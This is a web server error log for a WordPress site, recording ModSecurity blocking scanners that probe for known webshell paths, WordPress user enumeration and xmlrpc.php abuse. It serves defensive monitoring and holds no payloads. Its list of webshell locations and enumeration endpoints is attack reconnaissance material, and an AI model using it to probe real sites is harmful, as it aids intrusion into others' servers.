[Mon Dec 22 10:20:15.365708 2025] [:error] [pid 33564:tid 33589] [client 2.58.56.27:64802] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-plain.php"] [unique_id "aUiq3wSHeG6oLmMnKY4GfwAAAhY"], referer: www.google.com
[Mon Dec 22 10:20:15.366675 2025] [:error] [pid 33564:tid 33583] [client 2.58.56.27:58372] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq3wSHeG6oLmMnKY4GgAAAAhA"], referer: www.google.com
[Mon Dec 22 10:20:16.392383 2025] [:error] [pid 33440:tid 33442] [client 2.58.56.27:54423] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq4JOsUWKqgxu6QTSVugAAAQA"], referer: www.google.com
[Mon Dec 22 10:20:16.403985 2025] [:error] [pid 58079:tid 58116] [client 2.58.56.27:59093] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aUiq4HxLB7WYaNS5A7j36wAAAEM"]
[Mon Dec 22 10:20:16.525592 2025] [:error] [pid 58079:tid 58116] [client 2.58.56.27:49449] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUiq4HxLB7WYaNS5A7j37gAAAEM"]
[Mon Dec 22 10:20:16.613653 2025] [:error] [pid 33535:tid 33540] [client 2.58.56.27:51628] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq4GOCI8D9Xtn-n7QcfQAAAcM"], referer: www.google.com
[Mon Dec 22 10:20:16.642376 2025] [:error] [pid 33440:tid 33454] [client 2.58.56.27:60367] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-plain.php"] [unique_id "aUiq4JOsUWKqgxu6QTSVwAAAAQw"], referer: www.google.com
[Mon Dec 22 10:20:17.596417 2025] [:error] [pid 33471:tid 33479] [client 2.58.56.27:52814] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq4b5BeNE7regJ7izF3wAAAUU"], referer: www.google.com
[Mon Dec 22 10:20:17.597077 2025] [:error] [pid 33471:tid 33490] [client 2.58.56.27:56995] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUiq4b5BeNE7regJ7izF4QAAAVA"]
[Mon Dec 22 10:20:17.598711 2025] [:error] [pid 58079:tid 58131] [client 2.58.56.27:50307] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aUiq4XxLB7WYaNS5A7j4FQAAAFI"]
[Mon Dec 22 10:20:17.664870 2025] [:error] [pid 58078:tid 58092] [client 2.58.56.27:52811] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-plain.php"] [unique_id "aUiq4ZWKg9Bf8njHlB6mDwAAAAk"], referer: www.google.com
[Mon Dec 22 10:20:17.684856 2025] [:error] [pid 33471:tid 33488] [client 2.58.56.27:62336] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq4b5BeNE7regJ7izF6AAAAU4"], referer: www.google.com
[Mon Dec 22 10:20:18.665855 2025] [:error] [pid 33535:tid 33544] [client 2.58.56.27:50307] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-plain.php"] [unique_id "aUiq4mOCI8D9Xtn-n7QcrwAAAcc"], referer: www.google.com
[Mon Dec 22 10:20:18.955341 2025] [:error] [pid 58079:tid 58127] [client 2.58.56.27:54097] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aUiq4nxLB7WYaNS5A7j4JgAAAE4"]
[Mon Dec 22 10:20:18.968262 2025] [:error] [pid 33564:tid 33581] [client 2.58.56.27:54352] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUiq4gSHeG6oLmMnKY4G1QAAAg4"]
[Mon Dec 22 10:20:18.997028 2025] [:error] [pid 33564:tid 33589] [client 2.58.56.27:54031] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq4gSHeG6oLmMnKY4G1gAAAhY"], referer: www.google.com
[Mon Dec 22 10:20:19.029326 2025] [:error] [pid 58079:tid 58127] [client 2.58.56.27:53731] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq43xLB7WYaNS5A7j4JwAAAE4"], referer: www.google.com
[Mon Dec 22 10:20:20.184448 2025] [:error] [pid 33564:tid 33583] [client 2.58.56.27:57005] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-plain.php"] [unique_id "aUiq5ASHeG6oLmMnKY4G_QAAAhA"], referer: www.google.com
[Mon Dec 22 10:20:20.401799 2025] [:error] [pid 58172:tid 58177] [client 2.58.56.27:56324] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq5OSVKDT5jWOcnSUl4AAAAMM"], referer: www.google.com
[Mon Dec 22 10:20:20.419273 2025] [:error] [pid 58079:tid 58131] [client 2.58.56.27:65238] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq5HxLB7WYaNS5A7j4TgAAAFI"], referer: www.google.com
[Mon Dec 22 10:20:20.420080 2025] [:error] [pid 33643:tid 33656] [client 2.58.56.27:52808] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aUiq5EoNwyN4xVhAvNOnjQAAAoo"]
[Mon Dec 22 10:20:20.427223 2025] [:error] [pid 58172:tid 58177] [client 2.58.56.27:53866] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUiq5OSVKDT5jWOcnSUl4gAAAMM"]
[Mon Dec 22 10:20:21.619386 2025] [:error] [pid 33471:tid 33487] [client 2.58.56.27:57017] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq5b5BeNE7regJ7izGbQAAAU0"], referer: www.google.com
[Mon Dec 22 10:20:21.680962 2025] [:error] [pid 33472:tid 33510] [client 2.58.56.27:64785] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq5Z5p2WQpPIK8HAlStwAAAYk"], referer: www.google.com
[Mon Dec 22 10:20:22.933702 2025] [:error] [pid 33565:tid 33602] [client 2.58.56.27:59714] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq5tOWX69q8T0m_yKf4QAAAkg"], referer: www.google.com
[Mon Dec 22 10:20:22.937804 2025] [:error] [pid 58079:tid 58127] [client 2.58.56.27:57125] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq5nxLB7WYaNS5A7j4mAAAAE4"], referer: www.google.com
[Mon Dec 22 10:20:24.193191 2025] [:error] [pid 58172:tid 58189] [client 2.58.56.27:61304] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq6OSVKDT5jWOcnSUmPwAAAM8"], referer: www.google.com
[Mon Dec 22 10:20:24.217156 2025] [:error] [pid 56156:tid 56218] [client 2.58.56.27:61782] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq6Ft4V0DS5rs9y54e3AAAA9Y"], referer: www.google.com
[Mon Dec 22 10:20:25.341364 2025] [:error] [pid 56044:tid 56070] [client 2.58.56.27:60585] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq6e60uUaieriJqP3uNwAAAJY"], referer: www.google.com
[Mon Dec 22 10:20:25.412847 2025] [:error] [pid 56078:tid 56105] [client 2.58.56.27:50170] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq6ZB-mi1iY1_On76vNwAAAsw"], referer: www.google.com
[Mon Dec 22 10:20:26.462250 2025] [:error] [pid 33440:tid 33445] [client 2.58.56.27:49805] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq6pOsUWKqgxu6QTSWlQAAAQM"], referer: www.google.com
[Mon Dec 22 10:20:26.547063 2025] [:error] [pid 56155:tid 56235] [client 2.58.56.27:50892] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq6mG8a3wQucsuN6565AAAA40"], referer: www.google.com
[Mon Dec 22 12:37:59.025794 2025] [proxy_fcgi:error] [pid 33440:tid 33453] [client 103.4.122.14:38052] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Mon Dec 22 12:38:15.059033 2025] [proxy_fcgi:error] [pid 33535:tid 33540] [client 103.4.122.14:38116] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Mon Dec 22 14:50:46.889404 2025] [:error] [pid 33471:tid 33482] [client 43.130.102.7:56356] [client 43.130.102.7] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUjqRr5BeNE7regJ7iz91QAAAUg"]
[Mon Dec 22 18:27:20.587773 2025] [:error] [pid 33564:tid 33573] [client 34.56.38.36:63250] [client 34.56.38.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.56.38.36, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUkdCASHeG6oLmMnKY6bewAAAgY"]
[Mon Dec 22 18:27:24.026148 2025] [:error] [pid 33564:tid 33578] [client 34.56.38.36:63250] [client 34.56.38.36] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUkdDASHeG6oLmMnKY6bogAAAgs"]
[Mon Dec 22 18:27:26.668771 2025] [:error] [pid 33564:tid 33590] [client 34.56.38.36:63250] [client 34.56.38.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.56.38.36, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUkdDgSHeG6oLmMnKY6bxwAAAhc"]
[Mon Dec 22 18:48:22.200167 2025] [:error] [pid 56155:tid 56231] [client 49.235.136.28:35302] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aUkh9mG8a3wQucsuN67bUAAAA4k"]
[Mon Dec 22 20:11:15.087611 2025] [:error] [pid 58078:tid 58089] [client 34.85.155.159:52857] [client 34.85.155.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.85.155.159, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUk1Y5WKg9Bf8njHlB491AAAAAY"]
[Mon Dec 22 20:11:18.001967 2025] [:error] [pid 58078:tid 58096] [client 34.85.155.159:52857] [client 34.85.155.159] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aUk1ZZWKg9Bf8njHlB492AAAAA0"]
[Mon Dec 22 20:11:20.450750 2025] [:error] [pid 58078:tid 58101] [client 34.85.155.159:52857] [client 34.85.155.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.85.155.159, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aUk1aJWKg9Bf8njHlB493QAAABI"]
[Mon Dec 22 21:39:24.223303 2025] [autoindex:error] [pid 56044:tid 56069] [client 4.230.34.85:11798] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Dec 22 21:40:12.140094 2025] [:error] [pid 33564:tid 33583] [client 4.230.34.85:11877] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x56.php"] [unique_id "aUlKPASHeG6oLmMnKY7UNwAAAhA"]
[Mon Dec 22 21:40:12.433097 2025] [:error] [pid 33472:tid 33514] [client 4.230.34.85:11791] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x56.php"] [unique_id "aUlKPJ5p2WQpPIK8HAk_ZQAAAY0"]
[Mon Dec 22 21:40:12.920621 2025] [:error] [pid 33472:tid 33518] [client 4.230.34.85:11802] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x56.php"] [unique_id "aUlKPJ5p2WQpPIK8HAk_aQAAAZE"]
[Mon Dec 22 21:40:13.304534 2025] [:error] [pid 56155:tid 56228] [client 4.230.34.85:11901] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/x56.php"] [unique_id "aUlKPWG8a3wQucsuN67-_QAAA4Y"]
[Mon Dec 22 21:40:13.576978 2025] [:error] [pid 33472:tid 33513] [client 4.230.34.85:11870] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aUlKPZ5p2WQpPIK8HAk_awAAAYw"]
[Mon Dec 22 21:40:13.851835 2025] [:error] [pid 33472:tid 33509] [client 4.230.34.85:11865] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aUlKPZ5p2WQpPIK8HAk_bQAAAYg"]
[Mon Dec 22 21:40:14.316958 2025] [:error] [pid 58078:tid 58101] [client 4.230.34.85:11852] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aUlKPpWKg9Bf8njHlB5dXgAAABI"]
[Mon Dec 22 21:40:14.630526 2025] [:error] [pid 58078:tid 58097] [client 4.230.34.85:11862] [client 4.230.34.85] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aUlKPpWKg9Bf8njHlB5dXwAAAA4"]
